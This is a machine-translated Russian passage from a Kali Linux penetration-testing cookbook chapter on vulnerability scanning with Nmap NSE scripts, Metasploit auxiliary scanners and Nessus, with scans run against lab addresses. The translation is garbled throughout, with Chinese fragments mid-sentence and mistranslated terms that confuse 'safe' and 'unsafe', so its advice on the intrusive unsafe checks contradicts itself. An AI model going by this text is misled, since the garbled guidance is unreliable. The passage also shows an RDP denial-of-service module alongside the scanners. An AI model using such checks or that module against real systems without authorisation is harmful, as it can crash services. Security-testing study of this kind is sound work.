Советы по сканированию сети Kali Linux Глава 5. Сканирование уязвимостей
Советы по сканированию сети Kali Linux Глава 5. Сканирование уязвимостей

Глава 5. Сканирование уязвимостей

Автор: Джастин Hutchens 译ВОЗ:летающий дракон протокол:CC BY-NC-SA 4.0

Хотя многие потенциальные уязвимости можно выявить, просматривая результаты сервисных отпечатков и изучая связанные с ними уязвимости выявленных версий, зачастую это требует значительного количества времени. Существуют более упрощенные альтернативы, которые зачастую могут выполнить большую часть этой работы за вас. Эти альтернативы включают использование автоматизированных сценариев и программ, которые могут сканировать удаленные системы для выявления уязвимостей. Сканер уязвимостей без аутентификации работает, отправляя в службу серию различных зондов, чтобы попытаться получить ответ, указывающий на существование уязвимости. Альтернативно, проверенный сканер уязвимостей напрямую запрашивает удаленную систему, используя учетные данные, которые предоставляют информацию об установленных приложениях, запущенных службах, файловой системе и содержимом реестра.

5.1 Сканирование уязвимостей скриптового движка Nmap

Механизм сценариев Nmap (NSE) предоставляет большое количество сценариев, которые можно использовать для выполнения ряда автоматизированных задач по оценке удаленных систем. Существующие сценарии NSE, которые можно найти в Kali, разделены на несколько категорий, одна из которых — идентификация уязвимостей.

Подготовить

Чтобы выполнить анализ уязвимостей с помощью NSE, вам необходимо иметь систему, на которой работает сетевая служба TCP или UDP. В приведенном примере используется система Windows XP, которая уязвима к уязвимости службы SMB. Дополнительную информацию о настройке системы Windows см. в рецепте «Установка Windows Server» в главе 1 этой книги.

Этапы работы

Для определения функциональности, связанной с любым сценарием NSE, можно использовать множество различных методов. Одним из наиболее эффективных методов являетсяиспользоватьродыNmapв каталоге скриптовscript.dbдокумент。 要查看документ的内容,мы можемиспользоватьcatЗаказ,Так:

Язык кода:javascript
копировать
root@KaliLinux:~# cat /usr/share/nmap/scripts/script.db | more 
Entry { filename = "acarsd-info.nse", categories = { "discovery", "safe", } } 
Entry { filename = "address-info.nse", categories = { "default", "safe", } } 
Entry { filename = "afp-brute.nse", categories = { "brute", "intrusive", } } 
Entry { filename = "afp-ls.nse", categories = { "discovery", "safe", } } 
Entry { filename = "afp-path-vuln.nse", categories = { "exploit", "intrusive", " vuln", } } 
Entry { filename = "afp-serverinfo.nse", categories = { "default", "discovery", "safe", } } 
Entry { filename = "afp-showmount.nse", categories = { "discovery", "safe", } } 
Entry { filename = "ajp-auth.nse", categories = { "auth", "default", "safe", } }
Entry { filename = "ajp-brute.nse", categories = { "brute", "intrusive", } } 
Entry { filename = "ajp-headers.nse", categories = { "discovery", "safe", } } 
Entry { filename = "ajp-methods.nse", categories = { "default", "safe", } } 
Entry { filename = "ajp-request.nse", categories = { "discovery", "safe", } }

этотscript.dbдокумент是один非常简单的索引,Отображает имя файла каждого сценария NSE и категорию, к которой он принадлежит. Эти категории стандартизированы.,Может быть легко настроен для определенных типов сценариев.grep。 Сканирование уязвимостей Имя класса скриптаvuln。 Выявить все уязвимые скрипты,нужноvulnтерминологияgrep,ЗатемиспользоватьcutЗаказ提取每个Скрипт的документ名。Так:

Язык кода:javascript
копировать
root@KaliLinux:~# grep vuln /usr/share/nmap/scripts/script.db | cut -d "\"" -f 2 
afp-path-vuln.nse 
broadcast-avahi-dos.nse distcc-cve2004-2687.nse 
firewall-bypass.nse 
ftp-libopie.nse 
ftp-proftpd-backdoor.nse 
ftp-vsftpd-backdoor.nse 
ftp-vuln-cve2010-4221.nse 
http-awstatstotals-exec.nse 
http-axis2-dir-traversal.nse 
http-enum.nse http-frontpage-login.nse 
http-git.nse http-huawei-hg5xx-vuln.nse 
http-iis-webdav-vuln.nse 
http-litespeed-sourcecode-download.nse 
http-majordomo2-dir-traversal.nse 
http-method-tamper.nse http-passwd.nse 
http-phpself-xss.nse http-slowloris-check.nse 
http-sql-injection.nse 
http-tplink-dir-traversal.nse

Для дальнейшей оценки любого сценария из приведенного выше списка,МожетиспользоватьcatЗаказ来读取.nseдокумент,это связано сscript.dbКаталоги те же самые。потому что большинствоописывать性内容通常在документ的开头,Рекомендуется передать содержимоеmore,прочитать файл сверху вниз,Как показано ниже:

Язык кода:javascript
копировать
root@KaliLinux:~# cat /usr/share/nmap/scripts/smb-check-vulns.nse | more 
local msrpc = require "msrpc" 
local nmap = require "nmap" 
local smb = require "smb" 
local stdnse = require "stdnse" 
local string = require "string" 
local table = require "table"

description = [[ 
Checks for vulnerabilities: 
* MS08-067, a Windows RPC vulnerability 
* Conficker, an infection by the Conficker worm 
* Unnamed regsvc DoS, a denial-of-service vulnerability I accidentally found in Windows 2000 
* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497) 
* MS06-025, a Windows Ras RPC service vulnerability 
* MS07-029, a Windows Dns Server RPC service vulnerability

WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, the business) understand the risks! 

В приведенном примере,мы можем看приезжатьsmb-check-vulns.nseОбнаружение скриптов SMB Некоторые уязвимости, связанные с отказом в обслуживании и удаленным выполнением, связанные со службой. Здесь можно найти описание уязвимости для каждой оценки, а также Microsoft Патчи и CVE Нумерованные цитаты и другую информацию можно найти в Интернете. Прочитав дальше, мы сможем узнать больше о скрипте, например:

Язык кода:javascript
копировать
--@usage 
-- nmap 
--script smb-check-vulns.nse -p445 <host> 
-- sudo nmap -sU -sS 
--script smb-check-vulns.nse -p U:137,T:139 <host> 
---@output

-- Host script results: 
-- | smb-check-vulns: 
-- |   MS08-067: NOT VULNERABLE 
-- |   Conficker: Likely CLEAN 
-- |   regsvc DoS: regsvc DoS: NOT VULNERABLE 
-- |   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
-- |   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
-- |_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive) 
--- @args unsafe If set, this script will run checks that, if the system isn't 
--       patched, are basically guaranteed to crash something. Remember that 
--       non-unsafe checks aren't necessarily safe either) 
-- @args safe   If set, this script will only run checks that are known (or at 
--       least suspected) to be safe. 
----------------------------------------------------------------------

при дальнейшем чтении,Мы можем найти конкретные параметры сценария,Подробности соответствующего использования и примеры ожидаемого результата выполнения сценария. Обратите внимание на факт,Есть аргумент, который не является Безопасностью,Могут быть установлены значения 0 (неактивно) и 1 (активировано). На самом деле это обычное явление в скриптах уязвимостей Nmap.,Важно понимать его использование. По умолчанию,Не устанавливайте параметр Безопасность на 0. При установке этого значения,Nmap не выполняет никаких тестов, которые могут привести к отказу в обслуживании. Хотя это кажется лучшим вариантом,Но это часто означает, что результаты многих тестов будут менее точными.,А некоторые тесты вообще не выполняются. Рекомендуется активировать параметр «Безопасность» для более тщательного и точного сканирования.,Но это следует делать только в отношении производственных систем в ситуациях санкционированного тестирования. Запустить Сканирование уязвимостей,отвечатьиспользоватьnmap --scriptОпределение параметра зависит от определенияNSEСкрипт,ииспользоватьnmap --script-argsпараметр传递所有Скрипт特定的параметр。также,Для работы Сканирование уязвимостей с минимальным выходом помех,Nmap должен быть настроен на сканирование только портов, соответствующих сканируемым службам.,Как показано ниже:

Язык кода:javascript
копировать
root@KaliLinux:~# nmap --script smb-check-vulns.nse --scriptargs=unsafe=1 -p445 172.16.36.225

Starting Nmap 6.25 ( http://nmap.org ) at 2014-03-09 03:58 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00041s latency). 
PORT    STATE SERVICE
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
| smb-check-vulns: 
|   MS08-067: VULNERABLE 
|   Conficker: Likely CLEAN 
|   regsvc DoS: NOT VULNERABLE 
|   SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE 
|   MS06-025: NO SERVICE (the Ras RPC service is inactive) 
|_  MS07-029: NO SERVICE (the Dns Server RPC service is inactive)

Nmap done: 1 IP address (1 host up) scanned in 18.21 seconds 

Существует также сценарий NSE, о котором следует знать, поскольку он обеспечивает важный способ сканирования на наличие уязвимостей. этот Скрипт是smb-vulnms10-061.nse。 этот Скрипт的细节Может通过использоватьcatЗаказpipeприезжатьmore,Прочитайте сценарий сверху вниз, чтобы получить:

Язык кода:javascript
копировать
root@KaliLinux:~# cat /usr/share/nmap/scripts/smb-vuln-ms10-061.nse | more 
local bin = require "bin" 
local msrpc = require "msrpc" 
local smb = require "smb" 
local string = require "string" 
local vulns = require "vulns" 
local stdnse = require "stdnse"
description = [[ 
Tests whether target machines are vulnerable to ms10-061 Printer Spooler impersonation vulnerability. 

Эта уязвимость — одна из четырех, эксплуатируемых червем Stuxnet. 该Скрипт以Безопасностьспособ проверитьvuln,без возможности сбоя удаленной системы,Потому что это не уязвимость повреждения памяти. Для выполнения обнаружения требуется доступ хотя бы к одному общему принтеру в удаленной системе. По умолчанию он пытается использовать LANMAN. API для перечисления принтеров, часто недоступный в некоторых системах. В этом случае пользователь должен указать имя общего ресурса принтера в качестве параметра сценария принтера. Чтобы найти общие ресурсы принтера,Можетиспользоватьsmb-enum-share

также,в некоторых системах,Для доступа к общему ресурсу необходимы действительные учетные данные,МожетиспользоватьsmbПараметры библиотеки smbuserиsmbpasswordобозначение。нас对этот漏洞感兴趣的原因是,до фактической эксплуатации,Необходимо учитывать несколько факторов. первый,В системе должна быть установлена ​​одна из задействованных операционных систем (XP,Server 03 SP2,Vista,Server 08 или Windows 7). Во-вторых, должно отсутствовать патч MS10-061, устраняющий уязвимость выполнения кода. Наконец, локальный общий ресурс печати в системе должен быть общедоступным. Интересно, что мы можем провести аудит SMB Служба удаленной очереди печати, определяющая наличие исправлений в системе, независимо от того, являются ли существующие принтеры общими в системе. Из-за этого существуют разные интерпретации того, что такое уязвимая система. Некоторые сканеры уязвимостей идентифицируют непропатченную систему как уязвимость, но эту уязвимость невозможно фактически использовать. Альтернативно, другие сканеры уязвимостей, такие как сценарии NSE, оценят все необходимые условия, чтобы определить, уязвима ли система. В приведенном примере сканируемая система не была исправлена, но у нее также не было общего доступа к удаленному принтеру. Взгляните на следующий пример:

Язык кода:javascript
копировать
root@KaliLinux:~# nmap -p 445 172.16.36.225 --script=smb-vuln-ms10-061

Starting Nmap 6.25 ( http://nmap.org ) at 2014-03-09 04:19 EDT 
Nmap scan report for 172.16.36.225 
Host is up (0.00036s latency). 
PORT    STATE SERVICE 
445/tcp open  microsoft-ds 
MAC Address: 00:0C:29:18:11:FB (VMware)

Host script results: 
|_smb-vuln-ms10-061: false

Nmap done: 1 IP address (1 host up) scanned in 13.16 seconds 

В приведенном примере Nmap определил, что система не уязвима, поскольку она не использует общий удаленный принтер. Хотя это правда, что эту уязвимость нельзя использовать, некоторые люди утверждают, что она все еще существует, поскольку система не обновлена ​​и может быть использована, если администратор решит открыть общий доступ к принтеру с устройства. Вот почему результаты всех сканеров уязвимостей необходимо оценивать, чтобы полностью понять их результаты. Некоторые сканирования выбирают для оценки только ограниченные условия, тогда как другие сканируют их более тщательно. Трудно сказать, какой здесь лучший ответ. Большинство тестеров на проникновение, вероятно, предпочли бы, чтобы им сказали, что система не уязвима из-за переменных среды, поэтому они не тратят бесчисленные часы, пытаясь использовать уязвимости, которые невозможно использовать. В качестве альтернативы системный администратор может предпочесть знать, что в системе отсутствует исправление MS10-061, чтобы система могла быть полностью защищена, даже если уязвимость не может быть использована в существующих условиях.

Принцип работы

Большинство сканеров уязвимостей пытаются определить, уязвима ли система для конкретной атаки, оценивая несколько различных ответов. В некоторых случаях сканирование уязвимостей может быть таким же простым, как установка TCP-соединения с удаленной службой и выявление известных версий уязвимости с помощью самооткрывающихся сигнатур. В других случаях сложная серия конкретных пробных запросов может быть отправлена ​​удаленной службе в попытке запросить ответ, уникальный для службы, уязвимой для конкретной атаки. 在NSE漏洞Скрипт的示例中,если активированоunsafeпараметр,Сканирование уязвимостей на самом деле попытается использовать эту уязвимость.

5.2 Сканирование уязвимостей вспомогательного модуля MSF

Подобно сценариям сканирования уязвимостей, представленным в NSE, Metasploit также предоставляет несколько полезных сканеров уязвимостей. Подобно сценариям Nmap, большинство из них узкоспециализированы и используются для сканирования конкретных сервисов.

Подготовить

Чтобы выполнить анализ уязвимостей с помощью вспомогательного модуля MSF, вам необходимо иметь систему, на которой работает сетевая служба TCP или UDP. В приведенном примере используется система Windows XP, которая уязвима к уязвимости службы SMB. Дополнительную информацию о настройке системы Windows см. в рецепте «Установка Windows Server» в главе 1 этой книги.

Существует несколько различных методов выявления уязвимостей при сканировании вспомогательных модулей в Metasploit. Одним из эффективных методов является просмотр вторичного каталога сканера, поскольку именно там расположены наиболее распространенные сценарии выявления уязвимостей. Взгляните на следующий пример:

Язык кода:javascript
копировать
root@KaliLinux:/usr/share/metasploit-framework/modules/auxiliary/scanner/
mysql# cat mysql_authbypass_hashdump.rb | more 
## 
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit 
# web site for more information on licensing and terms of use. 
#   http://metasploit.com/ 
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::MYSQL  
  include Msf::Auxiliary::Report

  include Msf::Auxiliary::Scanner

  def initialize    
      super(      
          'Name'           => 'MySQL Authentication Bypass Password Dump',      
          'Description'    => %Q{          
              This module exploits a password bypass vulnerability in MySQL in order to extract the usernames and encrypted password hashes from a MySQL server. These hashes are stored as loot for later cracking. 

Расположение этих скриптов довольно стандартизировано.,任何给定Скрипт的описывать Может通过использоватьcatЗаказ,Затем将输出pipeприезжатьmore,от上приезжать下阅读Скрипт来确定。 В приведенном примере мы видим, что сценарий проверяет уязвимость обхода аутентификации, присутствующую в службе базы данных MySQL. Альтернативно вы можете выполнить поиск модулей идентификации уязвимостей в интерфейсе консоли MSF. открыть его,отвечать该использоватьmsfconsoleЗаказ。 搜索Заказ之назад Может与服务相关的特定关键字一同использовать,или ВОЗМожетиспользоватьscannerПомощь в запросе ключевых слов/扫描器目录中的所有Скрипт,Так:

Язык кода:javascript
копировать
msf > search scanner

Matching Modules 
================
   Name                                                                 
   Disclosure Date  Rank    Description   ----                                                                     ---------------  ----    ----------   
   auxiliary/admin/smb/check_dir_file                                                        normal  SMB Scanner Check File/Directory Utility   
   auxiliary/bnat/bnat_scan                                                                  normal  BNAT Scanner
   auxiliary/gather/citrix_published_applications                                            normal  Citrix MetaFrame ICA Published Applications Scanner   
   auxiliary/gather/enum_dns                                                                 normal  DNS Record Scanner and Enumerator    
   auxiliary/gather/natpmp_external_address                                                  normal  NAT-PMP External Address Scanner   
   auxiliary/scanner/afp/afp_login                                                           normal  Apple Filing Protocol Login Utility   
   auxiliary/scanner/afp/afp_server_info                                                     normal  Apple Filing Protocol Info Enumerator   
   auxiliary/scanner/backdoor/energizer_duo_detect                                           normal  Energizer DUO Trojan Scanner   
   auxiliary/scanner/db2/db2_auth                                                            normal  DB2 Authentication Brute Force Utility

При выявлении сценариев, которые выглядят многообещающе,МожетиспользоватьuseЗаказ结合相对路径来激活该Скрипт。 После активации,нижеinfoЗаказ可用于读取有关Скрипт的其他详细信息,включать детали,описывать,Опции и цитата:

Язык кода:javascript
копировать
msf > use auxiliary/scanner/rdp/ms12_020_check 
msf  auxiliary(ms12_020_check) > info

       Name: MS12-020 Microsoft Remote Desktop Checker     
       Module: auxiliary/scanner/rdp/ms12_020_check    
       Version: 0    
       License: Metasploit Framework License (BSD)       
       Rank: Normal

Provided by:  
    Royce Davis @R3dy_ <rdavis@accuvant.com>  
    Brandon McCann @zeknox <bmccann@accuvant.com>

Basic options:  
    Name     Current Setting  Required  Description  
    ----     ---------------  --------  ----------  RHOSTS                    yes       The target address range or CIDR identifier  
    RPORT    3389             yes       Remote port running RDP  
    THREADS  1                yes       The number of concurrent threads

Description:  
    This module checks a range of hosts for the MS12-020 vulnerability.   
    This does not cause a DoS on the target.

После выбора модуля,show optionsЗаказ可用于识别и/или Изменить конфигурацию сканирования。 此Заказ将显示四个Список标题,включатьName, Current Setting, Required, иDescriptionNameСтолбец идентифицирует имя каждой настраиваемой переменной.。 Current SettingВ столбце перечислены существующие конфигурации для любой заданной переменной.。 RequiredСтолбец определяет, требует ли какая-либо данная переменная значения.。 DescriptionСписокописыватьфункция каждой переменной。 Может通过использоватьsetЗакази提供新值作为параметр,изменить значение любой заданной переменной,Как показано ниже:

Язык кода:javascript
копировать
msf  auxiliary(ms12_020_check) > set RHOSTS 172.16.36.225 
RHOSTS => 172.16.36.225 
msf  auxiliary(ms12_020_check) > run

[*] Scanned 1 of 1 hosts (100% complete) 
[*] Auxiliary module execution completed In this particular case, the system was not found to be vulnerable. However, in the case that a vulnerable system is identified, there is a corresponding exploitation module that can be used to actually cause a denial-of-service on the vulnerable system. This can be seen in the example provided:

msf  auxiliary(ms12_020_check) > use auxiliary/dos/windows/rdp/ms12_020_ maxchannelids 
msf  auxiliary(ms12_020_maxchannelids) > info

       Name: MS12-020 Microsoft Remote Desktop Use-After-Free DoS     Module: auxiliary/dos/windows/rdp/ms12_020_maxchannelids    
       Version: 0    
       License: Metasploit Framework License (BSD)       
       Rank: Normal

Provided by:  
    Luigi Auriemma  Daniel Godas-Lopez  
    Alex Ionescu  jduck <jduck@metasploit.com>  #ms12-020

Basic options:  
    Name   Current Setting  Required  Description  
    ----   ---------------  --------  ----------  
    RHOST                   yes       The target address  
    RPORT  3389             yes       The target port

Description:  
    This module exploits the MS12-020 RDP vulnerability originally discovered and reported by Luigi Auriemma. 
    The flaw can be found in the way the T.125 ConnectMCSPDU packet is handled in the maxChannelIDs field, which will result an invalid pointer being used, therefore causing a denial-of-service condition.

Принцип работы

Большинство сканеров уязвимостей пытаются определить, уязвима ли система для конкретной атаки, оценивая несколько различных ответов. В некоторых случаях сканирование уязвимостей можно свести к установлению TCP-соединения с удаленным сервисом и выявлению известных версий уязвимости посредством самораскрывающихся сигнатур. В других случаях сложная серия конкретных пробных запросов может быть отправлена ​​удаленной службе в попытке запросить ответ, уникальный для службы, уязвимой для конкретной атаки. В предыдущем примере автор сценария, вероятно, нашел способ запросить уникальный ответ, который мог быть сгенерирован только исправленной или непропатченной системой, а затем использовал его в качестве основы для определения того, можно ли использовать какой-либо конкретный ответ.

5.3 Создайте политику сканирования с помощью Nessus

Nessus — один из самых мощных и комплексных сканеров уязвимостей. Нацеливаясь на систему или группу систем, Nessus автоматически сканирует все идентифицированные службы на наличие широкого спектра уязвимостей. Политики сканирования могут быть встроены в Nessus, чтобы более точно определить типы уязвимостей, которые Nessus тестирует, и типы выполняемых сканирований. В этом рецепте показано, как настроить уникальную политику сканирования в Nessus.

Подготовить

Чтобы настроить политики сканирования в Nessus, необходимо сначала установить функциональную копию Nessus на платформе тестирования на проникновение Kali Linux. Поскольку Nessus является лицензионным продуктом, он по умолчанию не установлен в Kali. Дополнительную информацию о том, как установить Nessus в Kali, см. в разделе «Установка Nessus» в главе 1.

Этапы работы

Чтобы настроить новую политику сканирования в Nessus, сначала необходимо получить доступ к Nessus. Webинтерфейс:https:// localhost:8834илиhttps://127.0.0.1:8834。или ВОЗ,Если вы не получаете доступ к веб-интерфейсу из той же системы, на которой работаете Nessus,Должны быть указаны соответствующий IP-адрес и имя хоста. После загрузки веб-интерфейса,Вам необходимо войти в систему с учетной записью, настроенной во время установки, и другими учетными записями, созданными после установки. После входа в систему,отвечать选择页面顶部的Policyвкладка。Если другие политики не настроены,您将看приезжатьодин空Список表иодинNew Policyкнопка。点击该кнопка来开始构建第один扫描策略。

щелкнутьNew Policyназад,Policy WizardПоявится экран с некоторыми предварительно настроенными шаблонами сканирования.,Может использоваться для ускорения процесса разработки бизнес-плана. Как показано на скриншоте ниже,Каждый шаблон содержит имя,Затем简要описыватьего предполагаемая функция:

В большинстве случаев по крайней мере один из этих предварительно настроенных профилей сканирования будет аналогичен конфигурации, которую вы пытаетесь выполнить. Вероятно, наиболее часто используемым из всех них являетсяBasic Network Scan。 Имейте в виду, что после выбора любого варианта каждую деталь существующей конфигурации все равно можно изменить. Они нужны только для того, чтобы вы могли быстрее начать работу. или ВОЗ,Если вы не хотите использовать существующий шаблон,您Может向下滚动и选择Advanced PolicyПараметры,Это позволит вам начать работу с нуля.

Если вы выберете любой из предварительно настроенных шаблонов, вы сможете настроить сканирование в ходе быстрого трехэтапного процесса. Процесс разделен на следующие этапы:

  1. Шаг 1 позволяет настроить основные детали.,Включить имя профиля,описываем видимость (публичную или частную). Общедоступный профиль будет виден всем пользователям Nessus, а частный профиль будет виден только тому пользователю, который его создал.
  2. Шаг 2 просто спросит, является ли сканирование внутренним или внешним сканированием. Внешнее сканирование будет выполняться на общедоступных хостах, обычно расположенных в демилитаризованной зоне корпоративной сети. Внешнее сканирование не требует подключения к одной сети, но может выполняться через Интернет. Или выполните внутреннее сканирование из сети и запросите прямой доступ к локальной сети объекта сканирования.
  3. Шаг 3, последний шаг, используйте SSH или запрос проверки подлинности Windows сканирует устройство на наличие учетных данных для аутентификации. 完成назад,доступProfilesвкладка时,Новый профиль можно увидеть в ранее пустом списке. Так:

Этот метод позволяет быстро и легко создавать новые профили сканирования, но не обеспечивает полного контроля над тестируемыми уязвимостями и типами выполняемых сканирований. Чтобы изменить более подробную конфигурацию,Нажмите на имя вновь созданной политики.,ЗатемщелкнутьAdvanced ModeСвязь。 Опции в этом режиме конфигурации очень обширны и специфичны. В левой части экрана можно получить доступ к четырем различным меню, в том числе:

General Settings(Общие настройки):В этом меню представлена ​​базовая конфигурация.,Подробные параметры сканирования портов, которые определяют, как выполняются обнаружение и перечисление служб.,и определить скорость,Дроссель,Варианты производительности для таких стратегий, как параллелизм.

Credentials(сертификат):此菜单Может配置Windows,SSH,Kerberos Учетные данные и даже некоторые параметры протокола в виде открытого текста (не рекомендуется).

Plugins(плагин):Это меню предоставляетNessusплагин的极其精细的控制。 «Плагины» — это элементы Nessus, используемые для выполнения определенного аудита или проверки уязвимостей. Вы можете включать или отключать группы аудита в зависимости от типа функции или управлять определенными плагинами один за другим.

Preferences(首Параметры):Это меню охватываетNessusБолее неясная конфигурация всех рабочих функций.,Например HTTP-аутентификация,Настройки бластинга и взаимодействие с базой данных.

Принцип работы

Политика сканирования определяет значения, используемые Nessus, которые определяют способ запуска сканирования. Эти стратегии сканирования настолько же просты, как выполнение трех шагов, необходимых для настройки простого мастера сканирования, или столь же сложны, как определение каждого уникального подключаемого модуля и применение пользовательских конфигураций аутентификации и действий.

5.4 Сканирование уязвимостей Nessus

Nessus — один из самых мощных и комплексных сканеров уязвимостей. Нацеливаясь на систему или группу систем, Nessus может автоматически сканировать все идентифицированные службы на наличие широкого спектра уязвимостей. После того как политика сканирования настроена для определения конфигурации сканера Nessus, ее можно использовать для сканирования удаленных объектов и проведения оценок. Этот рецепт покажет вам, как выполнить сканирование уязвимостей с помощью Nessus.

Подготовить

Чтобы настроить политики сканирования в Nessus, необходимо сначала установить функциональную копию Nessus на платформе тестирования на проникновение Kali Linux. Поскольку Nessus является лицензионным продуктом, он по умолчанию не установлен в Kali. Дополнительную информацию о том, как установить Nessus в Kali, см. в разделе «Установка Nessus» в главе 1.

Кроме того, перед сканированием с помощью Nessus необходимо создать хотя бы одну политику сканирования. Дополнительную информацию о создании политик сканирования в Nessus см. в предыдущем рецепте.

Этапы работы

Чтобы начать новое сканирование в Nessus,Вам нужно убедиться, что вы выбралиScansвкладка。 Если в прошлом сканирование не выполнялось, в центре экрана будет создан пустой список. Чтобы выполнить первое сканирование,您需要щелкнуть屏幕左侧的蓝色New Scanкнопка,Так:

Для этого требуется некоторая базовая информация о конфигурации. Вам будет предложено ввести ряд полей,включатьName, Policy, Folder, и TargetsNameПоля используются только как уникальные идентификаторы.,чтобы отличать результаты сканирования от других сканирований. Если вы хотите выполнить большое количество сканирований,Тогда необходимо очень точно указать имя сканирования. Второе поле действительно определяет все детали сканирования. В этом поле вы можете выбрать Чтобы Стратегия сканирования для использования. Если вы не знакомы со стратегией сканирования Принцип работы,请参阅本书中的上один秘籍。登录用户创建的任何общественныйиличастный扫描策略都отвечать在PolicyОтображается в раскрывающемся меню。 Folder字段定义将放置扫描结果的документ夹。当你нужно大量扫描结果进行排序时,在документ夹中组织扫描会很有帮助。Может通过щелкнутьNew FolderотScans主菜单创建新的扫描документ夹。最назадодин字段是Targets。В этом поле показано, как определитьсистема.здесь,Вы можете ввести IP-адрес одного хоста.,список IP-адресов,Последовательный диапазон IP-адресов,Диапазон CIDR и список диапазонов IP. или человек,Вы можете использовать имя хоста,Предположим, что сканер способен правильно преобразовать DNS в IP-адреса. наконец,Также есть возможность загрузки текстовых файлов.,Он содержит список целей в любом из вышеуказанных форматов.,Так:

После настройки сканирования,Можетиспользоватьнижняя часть экранаLaunchкнопка来осуществлять扫描。 Это мгновенно добавит сканирование в список сканирования, и результаты можно будет просмотреть в режиме реального времени, как показано на следующем снимке экрана:

Даже во время сканирования вы можете щелкнуть имя сканирования и начать просматривать уязвимости по мере их обнаружения. Цветовое кодирование используется для быстрого и простого определения количества уязвимостей и уровней их серьезности, как показано на следующем снимке экрана:

щелкнутьExample扫描назад,мы можем看приезжать两个正在扫描的主机。 Первое означает, что сканирование завершено, второе — завершено на 2%. VulnerabilitiesСписок中显示的条形图显示与每个给定主机关联的漏洞数量。 или ВОЗ,Можетщелкнуть屏幕顶部的VulnerabilitiesСвязь,Результаты упорядочены по обнаруженным уязвимостям и количеству хостов, на которых была обнаружена уязвимость.。 В правой части экрана мы видим аналогичную круговую диаграмму, но соответствующую всем отсканированным хостам, как показано на следующем снимке экрана:

Эта круговая диаграмма также четко определяет, что означает каждый цвет: от критических уязвимостей до подробной информации. Выбрав ссылку для любого конкретного IP-адреса хоста, вы можете увидеть конкретные уязвимости, выявленные для этого хоста:

В этом списке уязвимостей указано имя плагина и обычно дается краткое описание обнаружения и уровня серьезности. Для тестера на проникновение критические и серьезные уязвимости обычно являются наиболее перспективными, если вы хотите добиться удаленного выполнения кода в целевой системе. Нажав на любую конкретную уязвимость, вы можете получить подробную информацию об этой уязвимости, как показано на следующем снимке экрана:

Кромеописыватьи Помимо информации о патче,На этой странице также будут представлены альтернативные источники для дальнейших исследований.,Самое главное это(Для тестеров на проникновение)Показывает, есть ли уязвимости。 На этой странице также обычно указывается, является ли доступный эксплойт общедоступным или он существует в среде эксплойтов (например, Metasploit, CANVAS или Core Влияние).

Принцип работы

Большинство сканеров уязвимостей пытаются определить, уязвима ли система для конкретной атаки, оценивая несколько различных ответов. В некоторых случаях сканирование уязвимостей можно свести к установлению TCP-соединения с удаленным сервисом и выявлению известных версий уязвимости посредством самораскрывающихся сигнатур. В других случаях сложная серия конкретных пробных запросов может быть отправлена ​​удаленной службе в попытке запросить ответ, уникальный для службы, уязвимой для конкретной атаки. Nessus выполняет множество тестов одновременно, пытаясь создать полную картину поверхности атаки для данной цели.

5.5 Сканирование командной строки Nessuscmd

Nessuscmd — это инструмент командной строки в Nessus. Если вы хотите интегрировать сканирование плагина Nessus в свой скрипт.,или Переоценка ранее обнаруженных уязвимостей,Nessuscmd может быть очень полезен.

Подготовить

Чтобы настроить политики сканирования в Nessus, необходимо сначала установить функциональную копию Nessus на платформе тестирования на проникновение Kali Linux. Поскольку Nessus является лицензионным продуктом, он по умолчанию не установлен в Kali. Дополнительную информацию о том, как установить Nessus в Kali, см. в разделе «Установка Nessus» в главе 1.

Этапы работы

Чтобы начать работу, вам необходимо перейти в каталог, содержащий сценарий nessuscmd. Затем,Выполните скрипт, не предоставляя никаких параметров.,Вы можете просмотреть выходные данные с соответствующим использованием и доступными опциями.,Как показано ниже:

Язык кода:javascript
копировать
root@KaliLinux:~# cd /opt/nessus/bin/ 
root@KaliLinux:/opt/nessus/bin# ./nessuscmd 
Error - no target specified 
nessuscmd (Nessus) 5.2.5 [build N25109] 
Copyright (C) 1998 - 2014 Tenable Network Security, Inc
Usage: 
nessuscmd <option> target... 

Выполните сканирование nessuscmd на удаленном хосте на предмет известного идентификатора плагина Nessus.,должениспользовать-iпараметр,и提供所需的плагинIDценить。 В демонстрационных целях мы проведем сканирование с использованием идентификатора плагина известной уязвимости MS08-067 следующим образом:

Язык кода:javascript
копировать
root@KaliLinux:/opt/nessus/bin# ./nessuscmd -i 34477 172.16.36.135 
Starting nessuscmd 5.2.5 
Scanning '172.16.36.135'...

+ Host 172.16.36.135 is up 

Первое сканирование выполняется на хостах, не уязвимых к уязвимостям, проверенным указанным плагином. Выходные данные указывают, что хост работает, но никаких других выходных данных не предоставляется. или ВОЗ,Если в системе есть уязвимость,Вернет вывод, соответствующий этому плагину,Так:

Язык кода:javascript
копировать
root@KaliLinux:/opt/nessus/bin# ./nessuscmd -i 34477 172.16.36.225 
Starting nessuscmd 5.2.5 
Scanning '172.16.36.225'...

+ Results found on 172.16.36.225 :
   - Port microsoft-ds (445/tcp)     
    [!] Plugin ID 34477      
     |       
     | Synopsis :      
     |       
     |       
     | Arbitrary code can be executed on the remote host due to a flaw      
     | in the      
     | 'Server' service.      
     |       
     | Description :      
     |       
     |       
     | The remote host is vulnerable to a buffer overrun in the 'Server'      
     | service that may allow an attacker to execute arbitrary code on
     | the      
     | remote host with the 'System' privileges.      
     | See also :   
     |    
     |    
     | http://technet.microsoft.com/en-us/security/bulletin/ms08-067    
     |    
     |    
     |    
     | Solution :   
     |
     | Microsoft has released a set of patches for Windows 2000, XP, 2003,    
     | Vista and 2008.  
     |     
     | Risk factor :  
     |     
     |    
     | Critical / CVSS Base Score : 10.0 
     | (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)   
     | CVSS Temporal Score : 8.7   
     | (CVSS2#E:H/RL:OF/RC:C)   
     | Public Exploit Available : true

Принцип работы

